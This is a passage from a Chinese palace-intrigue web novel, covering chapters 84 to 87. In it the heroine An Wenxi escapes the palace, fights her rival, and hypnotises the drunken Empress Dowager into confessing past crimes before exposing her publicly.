“你好大的胆子,皇上许了本大人自由出入宫廷的权利,你敢阻拦?”青玄手里的长剑噌的一下窜出剑鞘。 “青大人,您别动怒,您请您请——”另一位稍稍年长的御林军立即变了态度。 “可是,后面这两位……” “他们是跟着本大人一同出宫的。”青玄声音登时变冷。 “是,开宫门——” “且慢——”江向晚蓦地现身,拦住了青玄的去路。 “江小姐,不知你有什么事情?”青玄转过身来,不动声色的将安文夕和欢凉护在身后。 “今晚宫里有刺客,我怀疑那些刺客会伪装成太监或宫女的模样偷溜出宫。”她说着意有所指的打量了一眼青玄身后的二人。 “江小姐,你这是什么意思,难不成你怀疑我私通贼寇?” 谁不知道这青玄是皇上的贴身侍卫,衷心可表,怎么可能会和刺客有牵连? “是不是你自己清楚。”江向晚上前两步,紧锁住安文夕道,“青大人,你身后是何人,我要检查一下,你没意见吧?” “慢着,我是皇上的羽卫统领,江小姐只怕是没有资格检查我的人吧。”青玄一把拦住她道。 “青玄,你这是存心要与我作对么?”江向晚一把拔出手中的青霜剑。 “江小姐此言差矣,青玄只听命于皇上,谁和皇上作对,青玄就和谁作对!” 安文夕心中威震,她从不知道老实木讷的青玄竟然如此能言巧辩。 “你——” “晚儿——”惊魂突然赶来,对青玄递了个眼神,然后一把拉住江向晚道,“晚儿,你别胡闹,青玄有要事出宫。” 江向晚一把甩开惊魂的手,剑锋指向惊魂,眼底一片寒凉,这些人都选择护着安文夕,凭什么啊? “青玄,你先走,这里有我。”惊魂厉声道。 青玄带着安文夕飞快的跃出了宫门,转瞬消失在了夜色中。 “惊魂,你别拦我!”江向晚蓦地出掌,狠狠地击在了惊魂胸口,惊魂根本没有想到她会对他出手,不可置信的后退了几步。 江向晚眼底闪现一抹愧色,惊魂,对不住了,是你非要拦着我的,然后她决绝的出了宫门。 惊魂立即追了上去,在守卫的御林军还没有反应过来,刚才的几人皆不见了踪影。 “头,那江小姐可是没有皇上令牌的,我们怎么可以将她放出宫?”刚才拦着青玄的那人道。 他身侧的人没好气的敲了下他的脑袋,骂骂咧咧道:“你小子傻啊,那江小姐将来可是要……要母仪天下的人,你敢拦她?” “母仪天下跟出宫有什么关系,她没有令牌就不能随意出宫。” 那人恨铁不成钢道:“你小子简直是个榆木疙瘩,怪不得三年了你还在这里守宫门!” 出了宫门,安文夕感激道:“青玄,这次多谢你了,我们后会有期!” “瑾淑妃,这都是卑职应当的,请随我来。” 安文夕心中一惊,“你要带我去哪里?” “宫里最近不安全,皇上让卑职带瑾淑妃娘娘去一个安全的地方。” “不必了,青玄你回去吧。” “娘娘,请不要让卑职为难。” “公主,别再与他废话,我们赶紧走吧,不然后面一会有人追上来了。” “青玄我不想与你为敌,后会有期。”安文夕说完,弹开了手指上的戒指,细如蛛丝的铁丝攀到一旁的大树上,安文夕拉着欢凉一起掠了上去。 青玄望着她的背影,叹了口气,也罢,希望她可以慢慢走出仇恨的阴影来,就在他刚准备回去的时候,前方传来了欢凉的一声吃痛。青玄眸色一黯,立即追了上去。 安文夕扶着欢凉,紧紧盯着前方一脸阴柔的男人,右手握着七节鞭。 “瑾淑妃,别来无恙啊!”沧月咬牙切齿道。 安文夕扬唇道:“真是不好意思,让沧总管等候多时了!” “能等到瑾淑妃,等多久都是值得的!”沧月两只手上都缠着白纱布,狠狠地握着手中的拂尘。 安文夕懒得与他废话,立即稳住了欢凉的身形,抽丨动了凌冽的七节鞭。 沧月轻松躲过,说道:“瑾淑妃何必动怒,咱家不过是想请瑾淑妃去长乐宫一趟。” 欢凉刚才受了这假太监一掌,又牵出了前一阵的旧伤,看着沧月身后的大内侍卫渐渐缠住安文夕,立即拔剑相向。 “都住手!”青玄厉声道。 “青大人,你怎么会出现在这里?”沧月开口道。 “这句话应该由我来问沧总管吧。” “呵……长乐宫起了大火,咱家发现了可疑之人,便一路追到了这里。” 青玄淡淡瞥了他一眼然后将视线放到安文夕身上道:“瑾淑妃,您就是再和皇上闹别扭也不该擅自出宫,皇上让卑职来寻您回宫。” 青玄竟然撒谎了? “瑾淑妃娘娘,请随卑职回宫。” 安文夕犹豫了一下,抬脚跟在了青玄身后。 “慢着——”沧月立即示意他身后的几个大内侍卫将他们围了起来。 “长乐宫中纵火之人和瑾淑妃二人身形极像,咱家奉太后娘娘之命要将这二人带回长乐宫。” “若是青大人执意阻拦的话,休怪咱家不客气!带走!” “只怕你还没有这个本事!”安文夕冷冷道,利索的收了七节长鞭,盘在腰间,右手极快的的喂出数枚泛着寒光的银针来。 上面涂了无双留下来的软骨散,只要中了银针的人,不消片刻就浑身无力,四肢瘫软,而且不出一盏茶的功夫便会昏迷不醒。 沧月看着他带来的大内侍卫一个个接连倒下去,低骂了声妖女。 “娘娘,您先走!” 安文夕没有犹豫,看了眼青玄,带着欢凉飞身而去。 前方是一片树林,冰冷的夜里,分外阴寒,安文夕和欢凉双双落了地,安文夕忙问道:“你怎么样?” “公主,我没事,我自己可以走!”欢凉固执的甩开安文夕的手。 “欢凉,我扶着你,这样走的更快一些。”安文夕不容她拒绝,花姑姑就在前方树林尽头接应着她们。 “好一个主仆情深!”江向晚从上方的树干上一跃而下,冷冷的瞧着她们。 这个恶心的女人还真是阴魂不散! 江向晚慢慢走近安文夕道:“你在这夏宫待不下去就想一走了之,天下间还没有这么便宜的事情!” 江向晚拍了拍手,她的身后蓦地出现了一排黑衣人,安文夕眸光一凛,这些黑衣人给她的感觉像极了从清河回宫的路上遇到的那批刺客! “你就是要走,至少要将你欠我的东西留下!” 看着安文夕毫无触动的脸色,江向晚的声音陡然变冷道:“怎么,不记得了?” “你欠我一颗心!”江向晚双眸凌冽,在雪地里,她手中的青霜剑映出冰冷的光来。 她还没有来得及出剑,惊魂从安文夕身后现身,蓦地拔出了剑,剑锋却对着江向晚。 “你果然还是追来了,惊魂,别让我更加讨厌你!” “晚儿,你竟然出动了江家的暗人!” 安文夕可不会相信惊魂会好心的救她,当即抽出了七节鞭,对上了江向晚的青霜剑。 就在这时,小树林上空却突然降下一位蒙着黑面巾的男子和几个背着羽箭的黑面人,迅速的加入了战斗,和江向晚带来的暗人打成了一片。 “夕儿,到我身后来。”男子声音清朗如魅。 安文夕神情一滞,这个声音她再熟悉不过。 第85章 以身相许 第八十五章 以身相许 由于蒙着黑面巾男子的加入,江向晚带来的人渐渐吃力起来,安文夕慢慢将江向晚逼至角落里。 江向晚嘴角勾起一抹狠戾的笑来,“安文夕,这是你自找死路,就别怪我无情!” 安文夕微勾了唇,手里的七节鞭更加凌厉起来,紫云鞭法,瞬息万变,招招毒辣。 火红的鞭尾卷起了江向晚手中的青霜剑,狠狠地抛了出去,江向晚一脸不可置信的看着安文夕。 骄兵必败,这江向晚太浮躁了! 安文夕眉宇之间添了抹戾气,毫不客气的甩起鞭子向江向晚身上砸去。 “啊!” “这第一鞭是那日在清河你对我做的一切!”安文夕话音未落,又抽上去了一鞭。 “这第二鞭是你故意让那只白云貂抓伤了我的手!” “这第三鞭是在百水崖你为了陷害我,故意坠下悬崖!” 这三鞭安文夕用尽了所有的力气,每一鞭都深可透骨,鞭尾甩出一串滚热的血珠来。 “晚儿,你没事吧?”惊魂立即赶到江向晚身边,将江向晚护在身后,怒视着安文夕。 安文夕冷哼道:“就凭你还想取我的心,不自量力!”她嫌弃的将七节鞭上的血渍擦掉。 “安文夕,你以为你能走得掉么?”江向晚不顾身上的鞭伤,一把夺过惊魂手中的长剑刺向安文夕。 “夕儿……”刚才的黑面巾男子足尖轻点,掠至安文夕面前,长臂将她揽至怀中,然后停在树枝之上。 “主子,后面有人来了。” 男子黑瞳深深,淡吐道:“撤!” 下方的男子看了眼江向晚犹豫道:“主子……” “撤!” 揽着安文夕的男子声音刚落,众人便不见了踪影。 江向晚双眸含恨的盯着刚才安文夕离开的地方,不甘心的咬牙切齿道:“安文夕,我绝不会放过你,绝不会!” “噗——” 江向晚一阵血脉翻涌,口中涌出鲜血来,身子慢慢往后倒去。 “晚儿……”惊魂眉头紧锁,一把抱起了她。若是她再这么冲动暴躁的话,只怕连帝王引也保不住她了! 北宫喆不知不觉走到了未央宫,宫殿里依旧灯火如旧,只是没有了她的未央宫,似乎更加冷清了些。 院子里的积雪尚未清除,应该是她故意留下的吧,她那么喜欢落雪。脚踩上去发出“咯吱”的声音,十分的悦耳。 走进内殿,虽然掌着灯,但却空无一人,连箐姑姑和香茗以及她下午从长乐宫救回来的陌姑姑全都不见了踪影,她连身边的人都已经安排好了去向,只怕是再也不想踏进夏宫了。 可是她已经是他北宫喆的女人,她还想逃到哪里去? 柜子里的衣服全部整整齐齐的叠放着,好像这些素静的衣服她一次也没有穿过,却独独偏爱那大红的罗裙。 北宫喆目光依次划过香几、香炉、屏风,最后落到床榻上,他走过去坐了上去,这里似乎还残留着她的体温。 北宫喆垂眸之时,不经意间瞥到了香几下面的同心结,他立即俯身捡了起来。 大红的同心结上面还悬着红丨豆,每年她都会在他生辰送上这样一个礼物,这个,就是她给他准备的惊喜么?他紧紧的将同心结握在了手中。 “属下参见皇上。”青玄立在北宫喆身侧复命道。 北宫喆看着手心的同心结道:“她走了?” “是。” “你故意将她放走了?”北宫喆声音微冷。 “是,请皇上责罚。”青玄沉吟道,他知道他骗不了皇上,还不如坦诚直言。 “罢了,就是朕留住她的人也留不住她的心。”就好像他终于得到了她的人,却逐渐遗失了她的心。 北宫喆起了身,渐渐朝殿外走去,手中一直握着那同心结。 红烛摇曳,洒落了一捧烛泪,北宫喆缓缓阖上未央宫主殿大门。 “即日起,夏宫再无瑾淑妃。” 这一声悲怆凄凉。 青玄走在北宫喆身后,看着前方那道伟岸挺拔的身影尽是萧寂。 是夜,月朗星疏,寒淡的月光洒在雪白的积雪上,骤添了几分冷意,北风呜咽着刮,卷起房顶上尚未消融的积雪,撒下一阵雪沫,寒意料峭。 这注定是一个不平凡的夜晚,这一晚发生了太多的事情,听说曹太后刚到夏宫不久,所居的长乐宫便被一场大火几乎烧掉了一半,通天的火光一直烧了好几个时辰。江小姐带人去擒拿刺客不仅无功而返,反而被刺客所伤。还有那个被大夏新帝荣宠至极的瑾淑妃被皇上秘密赐了一杯毒酒,了结了此生,具体原由好像是那瑾淑妃太过张扬冒犯了太后。 一家平凡的小院子里,在昏黄的灯火摇晃下,映出屋内的几道人影来。 安文夕已经换下了身上的太监衣服,收拾妥当,看着窗边上的那道高大的身影,一时不知道怎么开口。 “夕儿,你来了。”那人听到身后的动静转过身来。 “你,是……玉公子吧。” 那人缓缓扯下了脸上的黑面巾,露出一张极度妖魅的面孔来。 “胭脂,是我。” “那易寒也是你吧。”安文夕犹豫着问道。 “是,易寒是我早些年埋在北襄的一条暗线。” “谢谢你几番相救。” “胭脂,你我之间不需言谢。” “不论怎样,你已经帮了我太多,如果你有什么地方需要我,我一定竭尽所能。”安文夕向来不喜欢欠别人情分,尤其是人情。 那双妖媚的凤眼微眯道:“你若是真的想感谢我,不如——以身相许。” 安文夕闻言一滞,蓦地抬头,看向那双噙着笑意的眸子。 “罢了,我跟你开玩笑呢,你接下来有什么打算?” 安文夕愣了一瞬,还没有想好怎么回答,只听得楚君昱又道:“你若是不想说就算了,你若是什么时候想找我,都可以来这里。” “好。”安文夕对他真诚的笑了笑。 等到安文夕、欢凉和花姑姑接头时,花姑姑已经等候多时了,一行人回到凤青轩已经是丑时,安文夕略作交代,然后洗漱了下便沉沉睡去。 第二日一早,安文夕一袭红衣如魅,长发皆被竖至发顶,脸若白玉,清俊如仙。 白天的凤青轩处在休业状态,鲜有人来,安文夕斜斜的依靠在二楼的栏杆处,这是她一向喜欢的地方,偶尔有路过的姑娘含羞的冲他行礼道:“见过凤公子。” 欢凉也是一袭男装打扮,立在安文夕身侧道:“公主,箐姑姑和香茗已经安排好了,等过阵子再将她们接回凤青轩。” 安文夕微微点点头,“潇湘馆那边,花姑姑安排的如何了?” 潇湘馆是承安一家有名的怜馆,里面的美人环肥燕瘦,应有尽有,是花妈妈早年间收入凤青轩旗下的最大的一家怜馆了。 “花姑姑早就准备完毕,只待着遇到合适的机会将袭匀送到她身边。” 这一等就是半个月,承安的雪一场接着一场,如今已经是第三场雪了。承安地处九州中部,气候不似北襄那么酷寒,冬天却极好下雪。 由于曹太后身体抱恙,来到夏宫一直没有来得及举办接风宴,再拖实在是有些说不过去了,待曹太后身体刚刚好了一些,夏宫里就紧锣密鼓的为她办了接风宴。 这一日,依旧落雪,纷纷扬扬的大雪打着旋儿飘落,整个承安都被披上了一层洁白的纱衣。 虽然天上飘着雪,但大街上的行人仍然不紧不慢的走着,不少茶楼酒肆更是座无虚席,围着暖炉喝着酒。议论着最近京都发生的趣事。 最令人津津乐道的便是瑾淑妃赐死一事,盛宠一时的宠妃突然之间被赐了一杯毒酒,甚至都不曾被葬入皇陵,这其间自然有许多不为人知的秘密,到底是不是因为触犯了太后,已经无从考究。虽然已经过去了一段时间,大街小巷的人们依旧在茶前饭后之余喜欢谈论着自大夏新帝登基以来唯一一件八卦之事。 “公主,这雪下得越发的紧了,撑着伞吧。”欢凉给她递了把伞。 安文夕伸手接了瓣雪花,浅笑道:“不用了,撑伞太麻烦了,这样刚好。” 她今日没有像往常一样穿了耀眼的红裳,反而是一身素静的白衣,自领口到袖口皆绣着繁复的花边,低调又不失奢华。 安文夕远远闻见一股清淡的幽香来,抬头看了眼前方一处精致宏伟的阁楼,上面“潇湘馆”三个透玉镂刻的大字十分耀目。 这里的人不认得她,见到她来,只当是位普通的客人,立即有人迎了上来。 “这位公子,请问是雅间还是……” “雅间。”欢凉不待她说完一口说道。 来人二十岁上下,打扮的艳而不俗,周身反而凸显出一种雍容大气来,被欢凉打断也不恼,笑意盈盈道:“二位公子,请随我来。” 不远处的一座酒肆二楼处,一位身着玄衣、脸上带着半面银色面具的男人将下面的一切尽收眼底,一双锐利的黑眸蓦地眯了起来。 看来这次承安之行,没有白来! 随即将视线放到眼前氤氲着冒着热气的小盏上,对身后人道:“给本王换壶酒来。” “王爷,您身上有伤,不宜饮酒。”一道清丽的女声道。 “无妨!” 紫衣女子无奈的叹了口气,立即吩咐小二换了壶酒上来。 第86章 催眠曹暮烟 第八十六章 催眠曹暮烟 “听说今日咱们馆里来了位特殊的客人。” “哦,那是位什么客人,竟然还如此神秘?” “好像身份极其高贵。”一位身姿若柳,唇红齿白的小倌儿偷偷指了指夏宫的方向。 和他在一起安得另一名男子眼睛一亮道:“不如你我偷偷地去瞧一眼。” “如此贵人岂是你我这种卑贱之人可窥探的?” “贵人又怎么了,来咱们潇湘馆的皆是恩客,再说了你我——也不差么……”说着又搔首弄姿了两下,“说不定那位贵人就能看上你我……” “你们两个歌舞练得如何了,竟然还有工夫在这里说闲话?”引着安文夕上楼的女子听到了这二人的对话怒斥道。 “璃姐姐,我……” 另一个人急忙打断了他的话道:“璃姐姐,我们这就去排练歌舞。” 女子略略点了点头,然后回头对安文夕道:“这位公子,让您见笑了。” “无妨。”安文夕不介意的淡然一笑。 到了雅间,安文夕刚坐下不久,便传来了三声敲门声,欢凉神色蓦地一凛,和安文夕对视了一眼然后径直去开门。 来人粉面含春,唇若三月桃花,人似弱柳扶风,身上的狐裘披风平添几分孱弱,一颦一笑之间尽显我见犹怜。 欢凉扑哧笑道:“没想到那个老太婆喜欢这种调调的。” 安文夕不置可否的笑了笑,身在权力顶峰的女人自然要彰显出自己的至高无上与霸道尊贵来,所以喜欢“病西施”这种类型并不奇怪。 只见袭匀随意的掀了身上华贵非常的狐裘披风,大大喇喇的往雕花扶手椅上一座,还顾自翘起了二郎腿,瞬间那娇花照水、弱柳扶风的气质立即碎成渣渣了。 欢凉好奇的走过去,啧啧称道:“真是妖孽呀,美得不可方物,敢问姑娘姓甚名谁,可有婚配?” 袭匀眸光一敛,立即从椅子上弹了起来,恶狠狠地磨了磨牙,对欢凉咆哮道:“你这个死丫头,老子是纯爷们!纯爷们!”说着狠狠地弹了欢凉一下。 “我说这么久没见,你一见面就欺负我啊!”欢凉捂着额头委屈道。 袭匀白了她一眼随即越过她对安文夕道:“小师妹,你交代的事情,师兄都办妥了。” “都跟你说了多少遍了,你得叫公主!”欢凉不客气道。 “我有叫错么,我们都是一个师父教出来的。” “欢凉,你就让他这么叫吧。”安文夕无奈道,这两个人一见面就掐架。 “小师妹,你随我来。”袭匀脸上恢复了正经道。 不大的雅间内,升着暖烘烘的苏合香,整个房间内弥漫着淡淡的酒气。十几位柔弱可人的小倌儿正伺候着一位雍容华贵的女人,但看一个侧面,那女子生得极为妖媚,斜挑的黛眉透出丝丝妩媚,殷红的唇彰显出成熟女人独具的风味来。 女子面前的茶盏烟雾缭绕,升腾着袅袅茶烟,离得近了,依稀可以闻见薄淡的酒气。那青瓷盏里的是酒,而不是茶水。 那女子像是听到了动静,施施然扭过头来,只见她双目迷丨离,脸上带了几分醉意,看向袭匀,嘴角噙着笑道:“阿袭,你去哪了,哀家想你了。” 这一声,像极了情人间的耳鬓厮磨。而这女子,正是本应该身在长乐宫的曹太后。 阿……阿袭?安文夕和欢凉皆在心底小小的恶寒了一把。 袭匀眼底飞快的划过一抹厌恶,脸上却尽是柔情,柔声道:“烟儿,我这不是来了么?” 这一句差点把欢凉活活给恶心死。 他走过去给曹暮烟重新倒了一杯酒递给曹暮烟道:“烟儿,你喜欢他们么?” “哀家不喜欢,哀家只喜欢你。”曹暮烟说着揽住了袭匀的柳腰。 “你们先退下吧。”袭匀对身旁的怜人说道。 “哀家出来好久了,得回去了,不然沧月该着急了。” 袭匀双眸里佯装带了些生气,撒娇道:“你现在还想着他,我可要生气了。” “阿袭,现在哀家心里只有你,不信你摸摸。”曹暮烟拉着袭匀的手往她心口摸去。 眼前这一幕,简直是一位中年大婶正摧残着一位温润的少年,实在是太荼毒人的眼睛,欢凉微微别开了头,以手掩口咳嗽了两声:“咳咳……” 袭匀将视线放到安文夕和欢凉身上,然后对曹暮烟道:“烟儿,你不是说最近总是失眠么,我特意找了这位公子帮你调理调理。” 曹暮烟这才将目光放到安文夕身上,嘴角的笑意渐深,“这位公子也生得好生俊逸。” 她话音刚落,便传来袭匀酸酸的声音道:“怎么,烟儿喜欢他?” “喜欢,不过,哀家还是最喜欢你。”曹暮烟的眼神更加迷丨离了几分,“自从那晚宫宴上见了你,哀家便深深地喜欢上了你。” “咱们什么时候开始?”安文夕忍不住打断她,这曹太后恶心起来还真是超过了她的想象。 “就现在吧,烟儿你不要怕,尽量放松。” “现在你来盯着这枚铜钱,要专心,眼睛不要动。”安文夕吩咐道,她哪里是来治疗曹太后的失眠,她不过是来催眠曹太后的。 “现在,你的眼睛已经累了,请闭上眼睛。” 曹暮烟双目变得更加游离,听见安文夕的吩咐,慢慢阖上了眼睛。 “放松眼皮,放松全身,你现在就要睡了。” 欢凉见曹暮烟已经闭上了眼睛,刚想往她面前的杯子里加点东西之时,曹暮烟蓦地睁开眼睛,欢凉心中顿时一惊。 曹暮烟看着袭匀道:“阿袭,哀家要靠着你睡。” “好。”袭匀微微揽住了她。 曹暮烟这才又闭上了眼睛,仿佛已经渐渐进入睡眠。 欢凉飞来的将手里的药全部倒进了曹暮烟面前的酒盏里。 “现在,你可以醒来了。”安文夕慢慢呼唤道。 曹暮烟再次睁眼,目光有些呆滞无神,右手下意识的握紧了身边的袭匀。 袭匀将酒水递给她,曹暮烟没有拒绝,先是小小抿了一口,然后一饮而下。 “告诉我,你是谁?” “我是曹暮烟,曹家的二小姐。” “曹家?”安文夕一滞,曹家在前夏朝时是世家大族,可是在十五年前,不知为何,曹家的人突然全部失踪,就连曹家的曹公府也一夜化为了灰烬。 “是。”曹暮烟双眸带了些恨意,自顾自道,“你一定好奇曹家家大业大,为何会在一夜之间消失的无影无踪。” “是你做的?” “当然是我做的,他们都该死!”曹暮烟脸上浮现一抹解恨来。 “我原是曹家的二小姐,只因生我的姨娘是下人,就注定了我生来低人一等。平时苛待也就罢了,为什么我那大姐连我喜欢的人都要抢?明明是我先遇到的安莫霖,凭什么大姐喜欢,我就必须的让给她?”曹暮烟说话之时,面孔因愤怒微微有些狰狞。 半晌她慢慢平静下来,脸上浮现一抹娇羞来,“我依然记得那日,我游湖落水,是他救了我。他说‘姑娘,你家在何处,在下送你回去。’我们一见钟情。可是后来选秀,母亲为了大姐,李代桃僵将我送进宫中,生生拆散了我和安郎。” “那后来呢,你可认得莫虞?” 提到莫虞二字,曹暮烟眼底的恨意肆意翻涌,然后她缓缓道:“入了宫不久,我便拥有了盛宠,可是好久不长,凌阡陌那个贱人怀了龙种,母凭子贵做了贤妃,皇上便渐渐将我给忘记了,我便设计流掉凌阡陌的孩子,结果她竟然对我用刑,几乎用遍了所有的刑法逼我招供,看我这里的伤疤,就是那时留下的,那个贱人竟然想毁了我的容!”曹暮烟指着自己眼角的伤疤对袭匀道。 “皇上一怒之下,将我贬成了宝林,这时宫外却传出了安莫霖向莫虞提亲的消息。那安莫霖明明就是喜欢我的,怎么可以向别的女人提亲呢?后来我便向皇上说莫家嫡女倾国倾城,皇上就急不可待的将莫虞纳进了宫中。哈哈哈,我的东西,就是我拥有不了,别人也别想得到!”曹暮烟恶狠狠道。 “你简直是个疯子!”安文夕咬牙。 “对,你说得对,我就是一个疯子,大夏被灭,我跑去求安莫霖带我走,他不仅拒绝了我,还将莫虞那个贱人带走了,我怎么甘心!后来……后来,来了好多的人,他们……扒了我的衣服……一遍一遍……”曹暮烟像是想起了什么不堪的事情,痛苦的抱着头。 “我拿自己的灵魂南昭的祭司做了交易,从此我变成了一个魔鬼,但凡伤害过我的人就要付出百倍的代价!所以曹公府没了,凌阡陌那个贱人不仅被我毁了容,她的孩子也被我抢走了,还有莫虞——” “她竟然做了安莫霖的皇后,我怎么能放过她,给她下了息子魂殇都是便宜了她,她死了我也要将她挫骨扬灰!” “你——”安文夕欲一把抽出欢凉腰间的长剑,被欢凉一把按住,示意她不要冲动。 “真是个狠毒的女人。”欢凉愤愤道。 安文夕瞥了眼一旁的沙漏,冷声问道:“那我问你,你取的安文夕的心头血放哪了?” 第87章 一场好戏 第八十七章 一场好戏 “安文夕?”曹暮烟一滞,然后双眸又蓄满了恨意道,“莫虞的那个贱种?她竟然烧了哀家的长乐宫,哀家绝不会放过她!” “烟儿,她的心头血呢?”袭匀声音中多了分急切来。 “我放在……”曹暮烟凝神思考着,“我也不太记得了。” “公子,大事不好了!”刚才带领安文夕去雅间的女子急冲冲进来道,眉宇之间多了抹焦急。 “何事?” “有人来潇湘馆闹事,那人感觉像是个太监,但好像又不是,他好像在找什么人,如今正一间一间的挨个找呢,馆内的打手有些拦不住,需要出动……” “不必了,我去瞧瞧。”袭匀放开了曹暮烟。 感觉是太监,又好像不是,那不就是沧月了么。 正说话间,房门被人狠狠地踢开,门口的两个打手正痛的龇牙咧嘴,看向女子的神色多了分赧色,“璃姐,我们……我们拦不住!” 沧月褪下了他那身万年不变的太监服,着了身灰色长袍,满脸阴鸷,双眸内盛满了冰霜,待看到醉卧一旁的曹暮烟,神色一松。 “烟儿,你怎么醉成了这幅样子?” 沧月身形一晃,已将曹暮烟揽至怀中,双目阴毒的看向袭匀。 “沧月,你怎么来了?”曹暮烟似醉非醉的看着他,随即勾唇一笑道,“难不成你也来这里找乐子?哈哈哈……” 此言一出,沧月的脸立即黑成了锅底,对袭匀恶狠狠道,“你怎么带她来这种地方!”然后他的目光鄙夷的在安文夕和欢凉身上扫过。 袭匀挑眉,“这种地方?” “下作的东西!”沧月冷哼。 “呵……下作?”袭匀慢慢走近沧月,吐气如兰,“那也是她喜欢!” “你——”沧月气的一句话梗在喉间。 “再说了,我将烟儿带到这里是为了给她治疗失眠的。” “我说过,你不许叫烟儿!”沧月咬牙切齿道。 曹暮烟睁开迷丨离的双眼对沧月道:“你太凶了,都吓到袭匀了!” 沧月双眸中一片厉色,看向曹暮烟的神色之间多了抹戚然。 “烟儿,你是喜欢阿袭还是喜欢他?”袭匀直接无视沧月那铁青的脸开始撒娇道。 “哀家自然是喜欢你的。”曹暮烟指尖在袭匀脸上流连。 “那你喜欢这里么?” “喜欢,只要阿袭喜欢,哀家就喜欢。” “那我们以后常来这里可好?” “哀家都听阿袭的。”曹暮烟已经从沧月怀中起身,慢慢揽住袭匀的柳腰。 “烟儿,你……”沧月痛心道,“我带你回宫。” “烟儿……”袭匀恋恋不舍得拉住曹暮烟的衣角。 “阿袭,哀家改日再来。” “好。”曹暮烟和袭匀握手话别,沧月急不可待的揽住曹暮烟,足尖轻点,立即跃至楼下。 袭匀看了眼映璃道:“下面的都安排好了么?” 映璃点了点头道:“若是没有什么事情,我就退下了。” 映璃刚走,袭匀走过去扯了扯欢凉道:“臭丫头,师兄我的演技如何?” “喂喂喂,我告诉你,你别拿碰过那个老妖婆的脏手碰我!”欢凉立即跳脚道。 “我手哪里脏了,你闻闻香着呢!” “阿袭?”欢凉一把打掉他的手,学着曹暮烟的口气对他坏笑道,“你有没有和那个老妖婆那个……就是假戏真做啊?” “人家可是为你守身如玉呢。”袭匀嗲声道。 “行了,我都要看不下去了。一会就有好戏了,不如找个地方去看戏?”安文夕提醒道。 “小师妹,这是个好主意,走了。” “赶紧走,这间屋子里乌烟瘴气的。”欢凉撇撇嘴。 此时将近日暮,潇湘馆逐渐热闹起来,大厅内升起了璀璨的灯火,不少达官贵人开始了今夜的纸醉金迷。 沧月目光一扫,竟然看到有些熟悉的面孔,他眸光一敛,宽大的衣袖遮住曹暮烟的脸。 动作之快,如风驰电掣。 可惜,还是晚了。 “我好像看到了太后娘娘?”一位中年男子指着曹暮烟道。 “太后?她怎么会来这里?”那人眼里皆是不可置信。 “你看,那个背影好像是沧总管。” 沧月还没有来得及出了潇湘馆,身前突然有人大喊道:“太后娘娘!” 整个大厅顿时炸开了锅,众人纷纷朝沧月看去,沧月眸光微敛,刚想提气,怀里的人一把挥开刚刚盖在头上的衣袖,露出整张脸来。 “沧月,到了么?” “嗬!”周遭传来一阵倒吸气声。 果然是太后娘娘!她来这里…… 以前早有耳闻太后娘娘yin乱后宫,不曾想她竟然正大光明的来怜馆寻芳问柳,这样的女人怎能担得起太后二字来? “太后娘娘千岁千岁千千岁!”不知从哪里传来了一阵惊呼声。 曹暮烟听到声音慢悠悠的从沧月怀中起身,凤眼妖媚,翘起兰花指指着周围道:“都平身吧,不必多礼!” “烟儿,我们走!”沧月此时看着周围带有异样的眼神恨不得将曹暮烟抗走。 “哀家不走,哀家要阿袭来陪哀家。”曹暮烟竟然起身挨个去找,双手毫无顾忌的在一个个小倌脸上摸来摸去。 “都不是,阿袭呢,哀家的阿袭呢?”曹暮烟有些颓唐的跌坐在地上。 “烟儿……”沧月不得已上前点了曹暮烟的睡穴,立即揽住她的腰,头也不回得出了潇湘馆。 这个地方,他真是一刻也待不下去了。 二楼凭窗而望的安文夕意犹未尽的抿了口茶水,淡淡道:“这戏么,还是太淡了。” “淡?”袭匀惊道。 “罢了,经过今天一事,曹太后也该是恶名昭著了!” “可是公主的心头血还是不知道下落。” “放心,这件事包在我身上。”袭匀道。 “不。”安文夕摇了摇头,“曹太后是个警觉的人,经此一事,她势必会有疑心。” “小师妹,你就对师兄我这么没信心?” 安文夕这不是第一次和曹太后交手,刚才又知道了当年曹太后做下的事情,对于曹太后的手段为人,心中已经明了。 “心头血不重要,你要保证全身而退。” “好,等我取了心头血就去凤青轩找你们。” “我们这就要去枫月谷了。” “去枫月谷?那正好我也去出去走走。”袭匀眼中闪现一抹兴奋。 欢凉撇嘴道:“你办完事赶紧上山吧。” “我说你个臭丫头,你怎么用完了我,就想着将我打发走?山上就我自己一个人,无聊死了,这一次我打死也不走!” “反正你不许跟着我们!” 这两个人又开始了,安文夕无奈的抚了抚额,看了眼欢凉又把到口的话咽了下去,缓步出了房间,她自己已经活在了仇恨里,那么就希望欢凉一直这样快乐下去吧,她不应该去背负那么多。 也许,她猜错了呢,欢凉一直由花姑姑抚养长大,不知道这件事花姑姑又知道多少?想到这里,安文夕不免加快了步伐。 回到凤青轩,安文夕便打发了欢凉,和花姑姑来到了密室。 对于当年的事情,花姑姑一直还有记忆。 “当年,皇上的暗卫将她交给我时,她还很小,一张小脸皱巴巴的,看样子像是刚出生不久。” 花姑姑陷入回忆之中,“当时,我问他这是谁家的孩子,他说是捡来的,让我好好将她带大,我也没有多想,现在想想也不是不可能。” 十五年前,曹家被灭,而欢凉现在刚好十五岁! “我想知道真相的人现在都已经不在了。” “也许,欢凉不知道会更好,花姑姑,这件事先不要告诉欢凉。” “公主放心,属下知道该怎么做。” 安文夕刚刚出了密室,欢凉忙迎了上去道:“公主,玉公子来了,正在二楼香阁内。” 他怎么来了? “你去告诉他,凤青轩早已没有了胭脂醉。” “公主,我已经告诉他了,他说他是来寻凤公子的。” 安文夕闻言心蓦地一跳,难道他知道了? “公主,不如我去将他打发了吧。”欢凉看着安文夕脸色不对,忙说道。 “不必了,带我去瞧瞧。” 她几乎从来没有用凤公子的身份,他又是怎样知道的? “见过凤公子。” “起来吧,送壶茶来。” “玉公子,听说你找我。”安文夕变了嗓音说道。 楚君昱紫袍依旧,一袭墨发全部流泻在后背之上,此时正拥着暖炉浅啜着茶水,听到安文夕说话,起身道:“久仰凤公子大名,今日不知是否有幸听得凤公子抚琴一曲?” 她幼年便扮作凤公子,随着晟哥哥周游各国,更是因一曲《凤求凰》而少年成名。 “不知玉公子可知道我的规矩?” 她从不轻易奏琴,想听她弹琴的人必须要拿东西和她交换,这是她一向的规矩。 北宫喆在大安为质三年,从不知道她就是那个盛名九州的凤公子。 “凤公子,你看这把玄冰骨扇是否可以换凤公子一曲?” “自然可以。”安文夕示意一旁的侍女将扇子收下,没想到这把扇子最终还是到了她的手中。 “将我的琴取来。”她对一旁吩咐道。 “不知玉公子想听什么曲子?” “凤求凰!”楚君昱妖灼的眉目轻扬。 安文夕握着茶盏的指尖一颤,双眸蓦地看向对面双眸含笑的楚君昱。 第88章 